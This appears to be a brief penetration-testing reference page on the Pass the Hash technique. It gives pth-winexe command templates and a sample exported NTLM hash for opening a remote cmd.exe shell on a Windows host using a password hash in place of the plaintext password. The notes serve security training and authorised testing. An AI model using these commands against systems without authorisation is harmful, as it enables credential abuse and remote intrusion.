# Pass the Hash (PTH)

> In cryptanalysis and computer security, pass the hash is a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/Pass_the_hash)

## pth-winexe

> Modified version of the passing-the-hash tool collection made to work straight out of the box

* [GitHub - byt3bl33d3r/pth-toolkit](https://github.com/byt3bl33d3r/pth-toolkit)
* [Pass the Hash toolkit, Winexe | Kali Linux](https://www.kali.org/tutorials/pass-the-hash-toolkit-winexe-updates/)

Launch cmd.exe using pth

```bash
pth-winexe -U <user>%<ntlm-pw-hash> //<ip> cmd
```

or export hash?

```bash
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U administrator% //10.11.01.76 cmd
```

or password (instead of hash)

```bash
winexe -U <machine/name> //<ip> cmd.exe
```

-> Enter pw


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